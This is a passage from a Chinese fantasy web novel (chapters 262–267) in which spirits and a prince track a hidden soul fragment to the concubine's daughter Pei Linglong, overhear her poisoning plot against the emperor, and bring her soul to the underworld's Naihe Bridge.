裴子墨点点头,“应该是,而且他家确实也知道白锦夜是‘神冥公’的后人,又有个女子可以制造幻象,这么说的话,都能对上。” “呵。”神术公冷笑一声,“当年的神目公一脉,传到她可就只剩下一个女子了,如果当年大家都出了事,那神目公一脉可就绝了。这么说,那就是神目公一脉没出事,不仅没出事,她还另嫁他人,结婚生子了!” 顿了顿,神术公才继续道,“当时我去找她商量离开的事,反正我们俩有婚约在身,不如一起离开,两个家族在一起,以后也能相互扶持。她是答应了的,我们也约定了两日之后启程,这两日各自准备。” “但我离开之后,没走多远,就感觉到术法波动,波动的中心,就是神目公的家族那里,我担心出事,就赶紧过去查看。” 说到这的时候,他又有些控制不住情绪,术法外显,离他近的一些夜魔石瞬间就成了粉末。 裴黎拧起眉,抬手困住他的身体,“你这毛躁的性子什么时候能改改?” 这一次神术公并没有因为裴黎的禁锢和提醒而消气,脸上的怒意更盛,“我到了那里的时候,只见到一片狼藉,神目公一脉已经死了不少人。我担心神目公的安危,就直奔她的居所,刚走到门外,就见到神目公在一处阵法之中,那阵法中符咒乱飞,极为凶险,对她来说难以破除,不过对我来说却并不难。” “我扑过去救她,可没救到她的人,我自己就被更大的阵法困住,我用尽浑身解数也没能脱困,眼睁睁地看着她被困在另外一个阵法里,而我之后就陷入黑暗,再后来我就在黑暗中沉睡了,我根本不知道过了这么多年,我一睁眼就见到你了,我怎么知道……我怎么知道过了这么多年?” “如果神目公一脉还好好的存活于世,如果神目公没有死……那么我当时看到的,岂不就是神目公设置的幻象?” “神目公不可能有设下这样阵法的能力的,但是她一定跟这件事背后的人有什么关系,她帮他们一起陷害我!” 说到这,神术公一下子挣脱了裴黎的禁锢,整间柴房瞬间倒塌! 另外两个人都是魂魄,可不怕这柴房倒塌,但是裴子墨不一样,所以她赶紧闪身出了柴房。 这边的动静太大,已经吸引了王府的人的注意。 有些侍卫已经跑了过来,带头的人正是左辞和司空。 裴子墨微微皱了下眉头,看样子白锦夜在京城现身之后,他的人也就都回来了。 这两个人虽然不陌生,但是要解释大概也要费一番口舌,她看向裴黎和神术公,“不如换个地方聊?” 裴黎点点头,再次禁锢住无法控制自己的神术公,跟着裴子墨一起从后院离开了王府。 左辞他们虽然没有跟裴子墨照面,但是也看到她离开的身影了。 他冲进院子,看着倒塌的柴房,一脸的痛心,“诶呦,诶呦,这好好的柴房招谁惹谁了?这要是让王爷知道,肯定要气死了。现在这些小偷是没什么偷的了么?竟然跑人家柴房里偷东西,偷柴火么?” “偷就偷吧,还把人家柴房给弄塌了,真是没有一点道德心。” 司空瞪了他一眼,指挥着人四处查看是不是丢了什么东西,然后又吩咐人赶紧把这柴房重建一遍。 一个老嬷嬷查看了半响,最后颤抖着双腿走出来,“左总管,司大人,房间里别的没丢,但是妆奁匣子是打开的,里面丢了一根玉钗。” “你确定?”左辞赶紧走过去。 “确定确定。”老嬷嬷点着头,“我每天打扫房间,这房间里的每样东西如数家珍,不会错的,就是丢了个玉簪!” 第262章 萧玲珑 裴子墨离开王府后,便找了一处城中的湖心亭,这里没什么人,自然也不怕再被人打扰。 裴黎把神术公放了出来,眉头紧拧着看他,“你若是再闹出动静,我就封了你这一身术法。” 过了这一会,神术公也冷静了下来,“可她为什么要这么做?” 这个问题,眼下没人能回答他。 如果能找到神目公的魂魄,也许还能问一问,可是如果当时神目公帮了其他人,那镇压的魂魄里面,就不可能有神目公。 裴黎也微微抿起唇,神傀公被镇压的时候,就已经是魂魄了,但是之前的那几个人,其实死的都不明不白,可是这里面若是有了神目公的手笔,那就不一样了。 可能当时他们都在某种幻象之中,所以既没有发现攻击自己的人,也没有感受到任何异样。 裴子墨犹豫了下,才开口向裴黎低声问道,“这位‘神术公’怎么称呼?” 她的声音虽然压低,但是神术公也听到了,没等裴黎介绍,便道,“我叫柳甫,那位神目公,姓萧,叫萧玲珑。” 听到神目公的名字,裴子墨的表情变得有些怪异,好半天才开口道,“我认识一个人,叫裴玲珑。她以前并不叫这个名字,而是叫裴清诗,可在她五六岁的时候,有一天非要自己改名字叫裴玲珑。” 这个记忆,还是来源于裴清歌。 只不过以前这点小事她也没有在意,可是现在听到柳甫说那一任的神目公叫萧玲珑的时候,她才突然意识到,这可能不是一个巧合。 如果她能在裴清歌身上重生,那萧玲珑为什么不能在裴玲珑身上重生呢? 裴玲珑只是一个庶女,对于她自己要求改名字这件事,一开始根本没人在意,更没人同意。 裴家到了他们这一代,女子中间的字都是“清”字,她一个庶女,怎么可能改得了这个? 可是即便大名没有改,她也要求身边的人管她叫“玲珑”,就当是昵称。 一直到裴清歌毁容出事,裴玲珑的娘开始得宠,裴玲珑也从一众子女中脱颖而出,她的这个名字才被大家叫出来。 可想到这,裴子墨又隐隐觉得哪里不太对,萧玲珑身为神目公,不说其他的术法怎么样,但起码在制造幻象上,一定是顶尖的高手。 但裴玲珑可从未展现出来这一点啊。 裴黎拧着眉思索了会,才道,“你带我们去见见这位叫裴玲珑的姑娘。”说完之后,她才又问道,“她也姓裴,跟圣女一脉可有什么关系?” 裴子墨摇了摇头,“并无关系。” “那就好。”裴黎点点头,如今神目公的嫌疑最大,若是再跟圣女一族扯上关系,这事情就更麻烦了,随后,她才又看向柳甫,“若是见了那人,无论跟萧玲珑有没有关系,你都控制好你自己。” 柳甫脸色有些凝重,没有说话。 裴黎微微摇了摇头,显然觉得柳甫这人不太靠谱,于是干脆还是先禁锢住他,才回了锁魂玉笛。 裴子墨想起,上次见到裴玲珑的时候,是在白玉衡的府外,虽然不知道她是如何从孟府逃脱的,但是如今想找她,那自然就要去衡王府了。 只不过到了衡王府,她却并没有感受到裴玲珑的气息。 问了人才知道,原来白砺寒听说白锦夜光明正大的回了京城,不仅解决了京中的大麻烦,还顺便接管了京城所有的人和事,当场就气病了。 本来太医建议在行宫休养,等病好了再回京城。 可知道白锦夜就在京城之中,白砺寒还哪敢再耽搁?于是也没有遵医嘱,立刻快马加鞭的赶回京城。 这一路上颠簸,病情没见好,反倒加重了。 白玉衡如今作为白砺寒最信任的“兄弟”,自然是一直守在他身边,帮他一起对抗白锦夜的。 所以白玉衡进了宫,而在行宫的这些日子,裴玲珑讨了太后的欢心,就也跟着一起在宫里侍奉太后。 既然在宫里,裴子墨也就没有耽停留,一路摸进了皇宫。 循着裴玲珑的气息,一路竟到了白砺寒的寝宫。 裴子墨微微皱了下眉头,跃上了房顶,轻轻地掀开了一片瓦。 寝宫里的人可真不少,但众人的目光显然都聚在白锦夜的身上,不过白锦夜本人却一点都不在意,正在慢悠悠地喝茶。 但他很快感觉到了什么,微微抬起眼,和裴子墨对视了下,嘴角勾了一抹笑意,随即就收回了目光。 白砺寒看着模样,确实是生病了,满脸的病容不说,本来看起来还能有几年的寿命,如今这已经即将到尽头了,恐怕这次生病,是好不起来了。 裴子墨虽然只是粗略地看了他一眼,可大概也看得出来,他这生病不是偶然,而是被人下了毒。 只不过是慢性毒,本来一时半刻发作不出来。 可估摸着听说了白锦夜的事情,气火攻心,这毒就被诱发了。 太后和白玉衡都坐在不远处,裴玲珑也就站在他们两个中间。 裴子墨微微眯起眼,如今裴玲珑还真是受宠,这种场合都没叫她回避,足以证明白玉衡和太后对她的信任。 裴黎也从锁魂玉笛里出来,往下面看去。 这会没必要放柳甫出来,那人是不是萧玲珑,她就能分辨。 她顺着裴子墨的目光看了半响,眉头皱得越来越深,半响后,才对着裴子墨做了个手势,示意她先离开。 裴玲珑还在,裴子墨也就没有离开皇宫,只是找了个方便说话的地方。 裴黎的脸色依旧凝重,“那人的身上没有萧玲珑的气息,但是……她的魂魄确实有点奇怪,我倒是有一点猜测,但是我得求证下才能知道,你在这等我。” 裴子墨点点头。 裴黎正要离开,又想起什么,转头看向裴子墨,“你是说,白锦夜已经能把黄泉路收放自如了?” “应该是。”裴子墨回道。 裴黎的脚步又停下来,“那这件事让他帮忙更容易些,如果她和萧玲珑真的有什么关系,萧玲珑又帮这件事背后的人做事,那最好不要让她见到我和柳甫,也不要对她提及任何关于我们的事。” 裴子墨应了声,才问,“那需要他怎么做?” 第263章 魂魄的本源 裴子墨跟白锦夜的沟通没有那么难,她的本命玉佩在白锦夜的身上,所以她随时都可以出现在他身边,也只有他能看见她。 她出现在白锦夜身边之后,就立刻对他做了个噤声的手势。 白锦夜看了眼其他人的表情没什么变化,便知道其他人是看不见裴子墨的。 裴子墨正要弯腰跟白锦夜说话,就见裴玲珑的目光扫了过来,她微微停顿了片刻,可见她的目光最后只是落在白锦夜的身上,才明白只是一个巧合。 刚刚裴黎说她的魂魄确实有些奇怪,她还以为她对她的出现有所感应呢。 裴子墨把裴黎的话转达了一遍,白锦夜微微点点头,放下茶杯,看向白砺寒,“皇兄,你还在病中,便安心休养,反正最近我也不会离开盛京,你什么时候好了,什么时候再找我也不迟。天色已经晚了,我还有事要办,就先出宫了。” 白砺寒闻言脸色都变了,他竟然还没有离开盛京的打算!正要说话,便被气得直咳,结果半个字也没说出来。 白玉衡看了看白砺寒的脸色,赶紧开口道,“皇弟,咱们也许久不见了,如今皇兄病着,咱们不如留在宫中陪他,叙叙旧。” 这话本也就顺了白锦夜的意,他如果直接说留下,这两个人肯定要猜忌他留下要做什么,但是他如果说要走,那这两个人就一定不会让他出宫。 他留在宫里,有什么事还好应对,但是如果他出了宫,转头就带人逼宫可怎么办? 就算他根本没有这个打算,白砺寒也会一直担心受怕。 白锦夜笑了笑,点头道,“也成,那我就留下陪两位皇兄好好聊聊。” 袁公公这会才上前了一步提醒白砺寒吃药休息。 白玉衡便说先去吃个饭,回头他们兄弟二人过来给白砺寒守夜。 起身告退的时候,白玉衡看向白砺寒,对他做了个手势。 白砺寒眼里闪过一抹杀意,微微点头。 这两个人之间的交流并没有逃过白锦夜的眼睛,但他对这已经不在意了,他们若是真的能杀他,那倒是让他刮目相看了。 宫人引着白锦夜去用膳休息,白玉衡说晚点过来找他,便先送太后回宫了。 膳食很快送上来,白锦夜看着满桌子的膳食,无奈地笑了笑。 下毒这种手段都用了,白砺寒和白玉衡看样子留他下来,就是不想让他再出宫了。 他拿着筷子,还没等落下,便见到裴玲珑做贼一样溜了进来,她还不时地往身后张望,像是怕被人跟踪一样,她进了门,就立刻出声阻止,“别吃,有毒。” 白锦夜抬头看她,上次见面的时候发生的事,他还历历在目,难道裴玲珑已经忘了?他放下筷子,抬眼看着她,“我若是没记错,你现在不应该是个哑巴么?” 裴玲珑转手关上门,才看向白锦夜,“这件事,另有隐情,以后有机会我再跟你说。王爷,你现在快走吧,衡王怕你发现这饭菜有毒,不会吃,所以又让我来杀你。王爷,虽然曾经你更偏心我姐姐,但是……她毕竟已经死了,我……” 她的话还没说完,便感觉周围的景色瞬间变换,刚刚的房间、桌椅、饭菜统统不见了,只剩下她和白锦夜站在一片灰茫茫的空间之中。 她四处看着,脸上露出几丝恐惧之情,“这……这是哪?” 白锦夜只是淡淡地看着她,没有说话。 裴玲珑一下子就慌了,可她也根本没办法离开这里,只能重新看向白锦夜,“是你把我带到这里来的?” 白锦夜依旧没有说话,不过片刻之后,一丝若有若无的灵魂从裴玲珑的身上飘出来。 裴子墨的身影也瞬间出现,用一道符纸包裹住了那丝灵魂之后,就迅速的离开了。 随即裴玲珑眼前一晃,又回到了刚才的房间,她看着白锦夜依旧坐在坐在桌前,一切好像并没有什么变化。 她甚至都不知道刚才发生的事情是真的还是她的幻觉,“王……王爷?” “接着说。”白锦夜饶有兴趣地看着她。 裴玲珑眼里闪过一抹疑惑,但看着白锦夜的表情没什么异样,只能认为自己刚才是出现了幻觉,她重新整理了下思路,才开口,“王爷,小时有人看过我的面相,说我是凤命,你若是想做皇上,那……” “所以你就是用这个蒙骗了白玉衡,让他把你带在身边?”白锦夜打断她,“现在,你要么回去继续抱紧白玉衡的大腿,要么我这就叫人把你送回孟家。白玉衡上一次能让你重新开口说话,那这次我就割了你的舌头,看看他能不能让你再长出一条舌头来。” 裴玲珑微微怔了会,“王爷,你对我竟如此狠心,你会后悔的!” 白锦夜没再理她,等她离开,才顺着裴子墨的气息追过去。 裴子墨已经将包裹着那一丝魂魄的符纸交给了裴黎。 符纸是裴黎写的,所以她也根本不需要打开符纸,就知道这里面是什么情况了。 “这丝魂魄上没有任何人的气息。”裴黎微微眯了眯眼,“但绝对不是属于裴玲珑的。”她说着看着白锦夜赶了过来,才解释道,“即便是术法极高的人,将自己的一丝魂魄隐藏在别人的魂魄之中,在阳世不会被发现,但是一旦到了黄泉路上,魂魄都会被互相剥离。” “若是我来出手的话,也能逼出这一丝魂魄,但可能会伤到裴玲珑的魂魄。有很多事也许还要她给我们答案,总不能现在把她的魂魄伤了让她变成一个傻子。” “那这丝魂魄,有可能是萧玲珑的么?”裴子墨开口问道。 裴黎摇了摇头,“现在不确定,不过不管这丝魂魄是谁的,它离开了裴玲珑的魂魄,就会去寻找自己的本源,希望它的本源还在这世间,它就能带着我们去找到。” 她说着放开了符纸,把一道符咒打在了这丝魂魄上。 这丝魂魄在空气中停顿了会,便朝着一个方向飞过去。 裴子墨和白锦夜对视了一眼,迅速的追了上去。 这丝魂魄飞得不快,也没有出宫,转来转去,飞进了花园。 而在花园里面,就只有裴玲珑一个人蹑手蹑脚的走着。 魂魄绕着裴玲珑飞了几圈,又钻进了她的身体! 第264章 在那老头子的心里,皇位最好给白锦夜来坐 裴子墨微微皱起眉头,转头看向裴黎。 裴黎眼底闪过一抹诧异,也没有急着上前,只是不近不远地跟着裴玲珑。 裴玲珑走过花园,进了假山,假山里已经有人在等她了。 云月宁的脸上带着几丝憔悴,见到裴玲珑,已经没有最开始的那种颐指气使。 裴玲珑从怀里拿出一包药递过去,“以他现在的情况,这一包药下去,估计就回天乏术了。” 云月宁接过药迅速的放进袖袋,“希望你们记得答应过本宫的话,等他一死,就让本宫离开这该死的地方。” 裴玲珑笑着看着她没有说话。 云月宁抬手抚了抚头上的金步摇,“本宫已经给祖父去信,皇上如今身子大不如前,他身为老臣,自然会回京。到时,恐怕你们也需要本宫祖父的支持吧?” 听到云月宁说这个,裴玲珑才开了口,“表姐,咱们到底都是一家人,你放心,衡王那边我会帮你说说好话的。” 云月宁看了她一眼,没再说话,打算离开。 她当然知道,跟裴玲珑和白玉衡合作,无异于与虎谋皮。可是之前去行宫避暑回来,她发现昭纯宫里已经是一片狼藉,昭纯宫里的人已经不见了。 可关于昭纯宫的事,所有人的讳莫如深,她担惊受怕了好几天,就怕那人的事被人知道,若是把她牵扯出来,这种祸乱宫闱的大事,她自然是没有活路了。 后来京中出事,所有人一起出去避难,裴玲珑找上她,让她帮忙给皇上下毒,她一开始是拒绝的,但是思虑了很久,她知道,只有白砺寒死了,这以前的事才再也不会有人追究。 所以她其实是已经没有别的办法了。 云月宁已经朝假山外走了几步,裴玲珑才又开了口,“表姐,你对肃亲王死而复生这件事怎么看?” 云月宁的手微微捏紧,她甚至都不知道如今这个“白锦夜”到底是真的白锦夜还是昭纯宫密室的那个。 怎么就这么巧,昭纯宫密室那里出了事,这边白锦夜就死而复生了。 说不定,这是有人在背后故意做了手脚。 以白锦夜的警醒,他已经把京城的产业都变卖,家人都接走,大概率是不可能再回来了。 但这些事,她也不想去弄清楚了,她现在只想赶紧离开这里。 当年,白锦夜不把她放在眼里,她是一气之下才答应嫁给白砺寒。 她想告诉白锦夜,他不选她做王妃,她还有更好的路可以走,她可以做皇后。 即便云家上下都不同意她入宫,可她还是义无反顾的入宫了。 而白砺寒之所以许她皇后之位,还不是看上云家的势力? 这几年,白砺寒眼里只有和月如,尤其是……在行宫之时,太医诊出和月如有了身孕,白砺寒就差再给和月如一个皇后头衔,让她俩平起平坐了。 想到这,云月宁垂下眼,半响才道,“在这件事上,本宫就没办法帮你们了。”说完,也没再停留,快步离开了假山。 看着她的背影,裴玲珑眯了眯眼,也没急着离开,没一会,白玉衡便从暗处走了出来。 “本王就说,她一定会给自己留后路。”白玉衡轻声道,“只要云启元进了京,这事的变化可就多了,在那老头子的眼里,皇位最好就给白锦夜来坐,说什么怕子孙气盛,告老还乡,还不是因为当时父皇没有改立太子?” 裴玲珑微微抿了抿唇,“既然这样,那就让云家没办法进京不就好了?”她说着冷笑一声,“还有云止和云澜,找个机会一并处理了。” 白玉衡转头看向裴玲珑,没有说话。 裴玲珑看着他笑道,“王爷,你想走这条路,不会还心慈手软吧?” “呵。”白玉衡轻笑一声,才又问,“你刚才去见白锦夜,他那边如何?” “应该是他本人,不是冒充的。”裴玲珑开口道,但也想起来那一瞬间的异样,犹豫了下,并没有提起。 “本王已经让人去复州请张之极和张太妃回来了。”白玉衡嘴角的笑容更大,“肃亲王死而复生这么大的事,怎么能不让他们知道呢?”他说着顿了顿,“那云澜以前在裴府的时候,应该没少‘照顾’你和你娘吧?听说这些日子,云澜病得很重,你身为庶女,你嫡姐不在,也应该去好好照料。” 裴玲珑自然明白他的意思,便点了点头。 白玉衡把自己的腰牌递给她,“那趁着白锦夜在宫里,你现在就去吧,我这就去找他,让他不会有时间想起他岳母和大舅子的。” 裴玲珑接过腰牌,转身离开了。 听完两个人的话,白锦夜倒是不诧异,白玉衡既然想做皇上,那自然是要扫清一起障碍的,如今白砺寒已经不是障碍,眼前最大的挡路人就成了他。 他和裴子墨也在此分开,他回去应付白玉衡,裴子墨跟着裴玲珑出了宫。 裴玲珑拿着白玉衡的腰牌,从白玉衡的府上调了兵,直接包围了云府。 云澜确实还在病中,见裴玲珑这个架势上门,就知道不可能是善茬。 云止当场拔了剑,即便明知自己一个人不可能是对手,还是把云澜护在了身后,“姑姑,一会若是有机会,你就逃出去。” 云澜叹了口气,自知她是不可能有这样的机会,若是想要逃出去,云止的机会自然更大一些,但让云止扔下她不管,这事恐怕云止也做不出来。 “就别想着逃命了。”裴玲珑笑着看着他们,“就算你们能从这逃出去,还能逃多远呢?反正整个云家都很快要跟你们一起在地府团圆了。” “你!”云止震惊地看着她,“我云家世代忠于朝廷,没想到竟被你们这种小人残害!” “呵。”裴玲珑轻笑一声,“要怪,就只能怪云澜嫁给谁不好,偏要嫁给我爹,不然我娘怎么会做那么多年小妾,被她死死压着,连我爹都不敢多看我娘一眼?要不是她那心爱的女儿出了事,我和我娘怎么会有出头的日子?” “清歌的脸……是你?”云澜眯眼看着她,“我一直就知道我教出来的女儿不会做这样的事,我只是没想到……”她说着猛咳了几声,吐出一口血,才又指着裴玲珑道,“我对你和娘不薄,真是养不熟的白眼狼!” “聒噪!”裴玲珑摆了摆手,从袖口拿出一包药,递给旁边的人,“这哑药,就先给云夫人吃了,就当是还了当时白锦夜对我的‘照顾’之情。” 她旁边的人接过药,刚往前走了两步,就被一阵扬起的沙土迷了眼,接着胸口一疼,倒飞了出去。 等他从地上爬起来,便见到裴玲珑已经被人捏着脖子,双脚都离开了地面。 第265章 若是相信我,可以跟我一起去 裴子墨冷眼看着裴玲珑,曾经她演戏也好,哭哭闹闹的,一脸虚情假意的都好,她觉得那不过都是女子在后宅之间,为了给自己谋求一点福利的手段,罪不至死。 庶子庶女想要活得好一点,是人类趋利避害的本能,耍些小心思,但是得到了惩罚,也就够了。 可她如今觉得,当时裴玲珑做小恶,是因为她只有做小恶的能力。 如今,她一旦有机会做更大的恶事,她也根本就不会手软。 裴玲珑抓着裴子墨的手腕,双脚在地上挣扎着想要寻找能支撑住自己身体的地方,“你……是谁?” 跟着裴玲珑来的人,见到她受制于人,自然要冲上来救人,可是裴子墨只是抬起手随手一挥,他们就全都倒飞了出去。 这显然不是他们不去救,而是他们没有去救的能力。 除非是不要命了,冲上去给裴玲珑陪葬,将来得个护主而死的名声。 然而……裴玲珑并不是他们的主子啊。 裴子墨这才重新看向裴玲珑,刚刚裴黎已经跟她说过了,眼下这种情况,大概是萧玲珑投胎之前,把自己的魂魄分出来一丝,并且怕人发现,所以抹去了这丝魂魄上自己的气息。 之后她的魂魄到了地府,去投了胎。 可能直接投胎成裴玲珑,也可能转世几次才成了裴玲珑。 所以其实现在的裴玲珑并没有萧玲珑的记忆和术法。 而那丝魂魄,因为受到本源的吸引,才会一直呆在裴玲珑的身体里。 也许就是这一丝小小的魂魄,有了那么一点点意识,让裴玲珑改了自己的名字。 当然,也有一种说法,就是一直叫这个名字,是能通过“叫魂”的方式,把前世的记忆唤醒,但是这还要配合一定的术法,只是单纯的改名字,怕是用处不大。 只不过裴黎的话只说到这,裴子墨见到裴玲珑要给云夫人灌药,就直接冲了出来。 裴子墨本来根本不想回答裴玲珑的话,但是看着她身后的这一大群人,犹豫了下,才道,“我是奉肃亲王之命在这保护云家人,你们若是伤云家人,就是跟肃亲王作对,至于下场,需要我说么?” 裴玲珑想要说话,可是却被裴子墨死死的掐住喉咙,除了送嗓子里溢出几丝“咕唧”的声音以外,半个字都没说出来。 裴子墨眯眼看着其他人,“还不滚,打算留下来给裴玲珑陪葬?” 有个人仗着胆子往前走了步,他们毕竟是代表衡王的脸面,就这么走了,也太丢人,于是就放了句话,“肃亲王都自身难保了,还想保护其他人?今天这事不算完,我们走!”说完便带头先离开了。 裴玲珑斜晲着那些人,眼睁睁地看着他们从云家的院子离开。 “这位姑娘……”云止上前一步。 裴子墨转头看了他一眼,没说话,抓着裴玲珑的脖子迅速的离开了。 到了没人的地方,她才停下来,松开手往后一拉,裴玲珑的身体软软地倒在地上。 裴玲珑的魂魄失去了禁锢,赶紧抬手捂住自己的脖颈,可她却眼睁睁地看着自己的手从自己的脖子穿了过去,她惊惧地看着裴子墨,半响才见到自己倒在地上的身体,呆滞了会,就抱着自己的脑袋疯狂的大叫起来。 裴黎拧眉站在一边,“我刚才的话还没有说完,魂魄转世后,会忘记前世的记忆,但也可以通过一些秘法唤醒前世的记忆。只不过对于一个活人来说,拥有前世甚至前几世的记忆会非常混乱,并且如果她自己没办法接受,可能就会变得疯癫。几世的记忆混淆在一起,我们也没办法知道我们想要的了。” “最好的办法,就是能去到地府的三生石旁,从三生石上查看这个人以往几世的记忆。不过我和你都没有办法做到这个,只有白锦夜能带着她的魂魄去地府。” 裴子墨微微冷静了下,她看了看自己的手指,半响才道,“我以前……不会这样的。” “嗯?”裴黎转头看向她,“怎么了?” 裴子墨拧着眉,“我以前都不太计较这种事,我觉得任何人做事都会有因果报应,我没有必要插手任何事,反正天理循环,做好事做坏事就算这一世没有福报恶报,那也是在下一辈子。但我刚才,就是很生气……” 裴黎盯着她看了会,才道,“你的七情六欲被人封住,不过我看这层封印有了一丝裂痕,也是好事。” “裂痕?”裴子墨微微抿了抿唇,是上一次她看白锦夜的记忆,见到他在地府到处找人的时候,心里一疼的时候,冲破了封印么?“那这封印能解开么?” “如果你能自己冲开最好,若是强行破解的话,对你恐怕有损伤。反正现在有了裂痕,早晚松动,不用太在意。”裴黎说着笑了笑,“人有的时候,确实不能太理智,趁着年轻,多做些肆意的事,就算做错了,将来也有无数的时间去弥补,别等以后了再后悔。” 裴子墨抬眼看着她,见她脸上闪过一抹微微的遗憾,知道她大概是想起了凌幽,便没再继续这个话题,“那我叫白锦夜出来。” 裴黎点点头,“在三生石上看的东西都是真实的,到时也不怕这魂魄苏醒了萧玲珑的记忆之后,对我们有所欺骗了。” 裴玲珑还在那歇斯底里的叫着,只不过除了裴子墨和裴黎也没人能听到她的声音,最后裴子墨实在听不下去,就封了她的嘴。 等白锦夜出来的时候,裴玲珑终于冷静了下来,她跪在地上,朝裴子墨磕头,眼里尽是乞求,想要求她放过她。 裴子墨懒得理她,若是裴玲珑留在孟府,被孟夫人磋磨,大概自己这辈子都不会再想起她这个人了。 就算裴玲珑凭自己的本事从孟府离开,可若是能长点记性,从此老老实实地呆在裴府不再害人,也不会再撞到她手里。 可她偏偏找到云家头上。 裴子墨拧着眉,她既然答应了裴清歌会照顾云夫人,以后她也不可能时时刻刻守在云夫人身边,那就得把这些隐患全都彻底抹除。 正想着,白锦夜也急匆匆地赶了过来,回府的路上,裴子墨也把要做的事跟他说了一遍。 白锦夜虽然去过地府,但是并不知道三生石在哪,于是回了府上之后,他就自己先去了一趟,等回来的时候才看向裴子墨,“你想去一起看么?若是相信我,可以跟我一起去,不会有什么危险。” 第266章 忘川 若是能亲自去看,裴子墨自然不会拒绝。 她能去,就意味着裴黎也能去。 萧玲珑那个时候的事,裴黎能亲自去看看,自然是最好的。 转述的话,这中间怕是会有遗漏或者也很难把某些人对上。 不过这一去不知道要多久,白砺寒和白玉衡那边还在谋划着要除掉白锦夜,他和裴子墨都不在,便把司空、左辞和榆北统统都安排好,守卫整个府邸。 裴子墨也先设下了一些法阵,一旦有危险她也能知道。 这一次她也不是用入梦的方式跟着白锦夜一起,而是他们所在的房间,整个迅速变成了一片灰茫茫的空间。 裴玲珑惊悚地看着周围的的一切,她清楚的记得,片刻之前,在宫里的时候,就发生过一次这样的事情。 她的嘴依旧被裴子墨封着,即便是害怕,也叫不出来。 裴子墨也看着周围,这里的感觉跟琼华山的感觉是差不多的,所以裴黎的推测应该没错,那块华精玉大概真的在那片深渊之中。 如果是这样的话,说不定是一件好事。 最好凌幽已经在深渊下面设了法阵,就让那块华精玉一直留在那里。 “走吧。”白锦夜开口道,“跟着我,没事的。” 裴子墨点点头。 白锦夜犹豫了下,还是拉起她的手,往一个方向走去。 这里对于其他人来说,都是灰茫茫一片,什么都看不见,也辨认不了方向。 不过在白锦夜眼里是不一样的,他有目的的向前走,又会偶尔提醒裴子墨小心。 裴子墨觉得他也没有必要故弄玄虚,这里应该是有她看不见的危险,甚至于她都感知不到,不过这毕竟是地府,有很多大概都是秘密,就算白锦夜想告诉她是怎么回事,怕是也难以描述。 这样走了一段之后,灰茫茫的空间突然消失,前方的景物开始清晰起来。 就在跨过某一道界线之后,裴子墨突然觉得自己身上有些异样,但是一时之间还没有反应过来是什么。 “啊!我这是死了么?我不要死,我不要死!”裴玲珑突然大叫起来,“放我回去!” 裴子墨转头看向她,裴玲珑的嘴被她用术法封住,但是这一会她能说话了,显然是她的术法失效了。 她从袖袋里掏出一张符纸,随手一扔,符纸软趴趴的落在地上,一点反应都没有。 而且那符纸上写好的符咒的字迹也在慢慢淡去,最后变成了一张空白的符纸。 裴黎也从锁魂玉笛里出来,看着她的动作笑了笑,“人死了到了地府,生前的术法自然都消失了,不然若是在地府里闹起来,那岂不是要出大事?术法修炼得越是高深,人就越不愿意死,因为死了,一切就要重来,在地府折腾一番,再投胎之后,都不见得还有没有机会再修习术法了。” 说到这的时候,她瞥了一眼一直绕着裴玲珑魂魄转圈的那丝魂魄。 自从进了这里之后,那丝魂魄就和裴玲珑分开,但是它还是绕着她,虽然没有离开,可也没有办法再融合。 顿了顿裴黎又补充,“很早之前,有些修习术法的人死了,就想办法不来地府,留在人间,只要不来,术法就还在,若是能在魂魄的状态下,摸到成仙的门槛,那就再也不用来地府了。” “这件事当年也闹了很久,越来越多的人不来地府,打破了平衡。而且一旦当一个人死了,只剩下魂魄的时候,做人的时候还坚持的底线原则,有些就被抛弃掉了,为了成仙会无所不用其极。” “最后是鬼差和修习术法的人们达成了协议,一同把滞留在人间的魂魄带走,并且要求修习术法的人遵循生老病死的规律,若是死了,就要去地府报道,不然若是被抓回地府,就永世不得超生。” “从那以后,修习术法的人,对成仙这件事也开始变得更为执着。” 裴子墨闻言微微皱起眉头,“那也就是说,之前被镇压的‘十一公’的那些魂魄,他们将来若是来了地府,就会是这样的结局?” “不一样。”裴黎摇了摇头,“他们死后被人镇压,这有情可原,况且现在那个阵法还有两处没破,他们受这个阵法牵连,暂时没办法离开,所以以当前的情况看,对他们的影响不会很大。不过若是等阵法都解决之后,他们还在人间滞留,那结局就不一样了。” 顿了下裴子墨又道,“我好像从未见过鬼差。” “从未见过?”裴黎挑眉笑了笑,瞥了白锦夜一眼,“他们一族可就是号称‘人间鬼差’的,有时候你看不见的,并不代表不存在,他们可能就是以常人的状态生活在你身边。” 两个人说着话,并没有人注意到一旁已经不喊叫了的裴玲珑。 她现在可以确定自己是真的死了,而且杀了自己的人,就是裴子墨。 从刚才两个人的对话之间,她大概听得出来,裴子墨会些术法,可现在这些术法消失了。 也就是说,她若是想要报仇,那眼下就是最好的机会了。 她眯眼盯着裴子墨的后背,目光又落在白锦夜牵着裴子墨的手上,眼里闪过一抹恨意。 自从肃亲王府出事之后,听说裴清歌跟着张之极一起去了复州,之后就再也没有消息了。 现在看起来,裴清歌已经成了弃妇,白锦夜又有了新欢。 只不过这个新欢看起来一样让人讨厌。 “前面就是奈何桥了。”白锦夜抬手指了指前面开口道,“奈何桥下,就是忘川。” 说到这,他握着裴子墨的手微微紧了下,但是却没有解释。 奈何桥上,有不少魂魄在过桥,发汤的孟婆的舀起一碗汤之后,就看到了白锦夜一行。 她的动作微微顿了下,便收回了目光,当做什么都没看到。 上了桥,裴黎却停下了脚步,站在桥边,往忘川下面看去。 白锦夜倒也没有催促。 裴子墨站了会,才走了过去,看着忘川里面浮浮沉沉的人,隔了会才道,“凌幽不一定会在这里。” 裴黎闻言也没有收回目光。 若是有人死后不想忘记挚爱,可以不喝孟婆汤,但若是不喝,就要跳进忘川,在这里受千年之苦,千年之后,若是心意不变,就可以不喝孟婆汤带着前世的记忆去转世。 “我也不希望他在这里。”裴黎微微皱起眉头。 还没等裴子墨再说话,她就感觉有人在自己身后猛地一推! 奈何桥上可没有栏杆,她往前一倒,就直接往忘川里跌去! 第267章 你要和她一起跳下去? 白锦夜之前听裴子墨讲过裴黎和凌幽的事情,所以见到裴黎在这里眺望才没有上前,他觉得这种事,自然是裴子墨一个女子去安慰下更好。 所以也就落后了两个人一两步,却没想到被一旁的裴玲珑钻了空子。 裴黎就在裴子墨的身边,所以自然反应最快,即便已经失去了抓住她的机会,可她动了动手指,就凭空抓住了裴子墨。 她这是下意识的反应,本来以为自己的术法也会一起消失,没想到自己的术法还在。 不过她只是止住了裴子墨往下掉,可却没办法把她拉上来。 她用力,下面就好像有同样的力抵消了,裴子墨悬在了半空,可好在并没有落入忘川。 